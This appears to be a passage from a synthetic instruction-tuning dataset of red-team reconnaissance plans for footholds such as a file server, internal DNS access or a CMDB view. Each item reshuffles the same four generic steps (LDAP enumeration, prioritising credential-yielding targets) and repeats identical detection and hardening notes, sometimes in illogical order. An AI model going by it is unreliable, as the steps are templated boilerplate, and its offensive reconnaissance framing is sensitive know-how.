Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.